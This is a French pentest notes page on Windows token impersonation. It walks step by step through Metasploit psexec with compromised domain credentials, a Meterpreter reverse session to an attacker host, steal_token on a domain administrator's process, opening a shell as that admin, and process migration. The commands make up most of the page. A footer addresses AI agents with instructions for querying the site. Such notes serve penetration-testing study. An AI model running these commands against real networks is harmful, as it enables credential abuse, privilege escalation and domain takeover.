> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/token-impersonation.md).

# Usurpation de jeton

Pour cette partie, nous utilisons `Metasploit`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

Nous supposons que nous avons déjà compromis le `user1` compte.

{% code overflow="wrap" %}

```bash
utiliser exploit/windows/smb/psexec

afficher les options
```

{% endcode %}

<figure><img src="/files/38b178280c85a57bd967861707e1160307f62683" alt=""><figcaption></figcaption></figure>

Nous configurons ensuite le module avec les paramètres corrects.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
shell
```

{% endcode %}

<figure><img src="/files/82ff46fe7892a16fe1f0d7c862c488069f03a125" alt=""><figcaption></figcaption></figure>

Depuis `Meterpreter`, nous listons les processus actifs sur la machine.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

Certains processus peuvent appartenir à un administrateur du domaine.

<figure><img src="/files/80558902f4c45c53d9d0a29adec39c508c45da11" alt=""><figcaption></figcaption></figure>

Nous pouvons ensuite voler le jeton du processus ciblé à partir de son PID.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="/files/1a957e85b9c7f3102024d540385975f1e6b4554b" alt=""><figcaption></figcaption></figure>

Ce jeton correspond à l'ouverture de session du compte administrateur.

Si nous ouvrons maintenant un shell, il s'exécute dans le contexte de cet utilisateur.

{% code overflow="wrap" %}

```bash
shell
```

{% endcode %}

<figure><img src="/files/378594f5cd625d56b39cb6cf2b64db69cd4966b8" alt=""><figcaption></figcaption></figure>

Autre possibilité : migrer notre charge utile dans ce processus pour hériter de son contexte.

Si nécessaire, nous pouvons d'abord revenir à notre contexte initial.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

Nous lançons ensuite la migration vers le PID ciblé.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="/files/f860361d76c279a2a7102e785f694b4018967888" alt=""><figcaption></figcaption></figure>

La limite reste simple : si le processus meurt, la session migrée tombe également.

> 172.16.0.10 - Session Meterpreter 1 fermée. Raison : arrêt

<figure><img src="/files/2a013785453de2f5759fac9cb4371bd03094690e" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
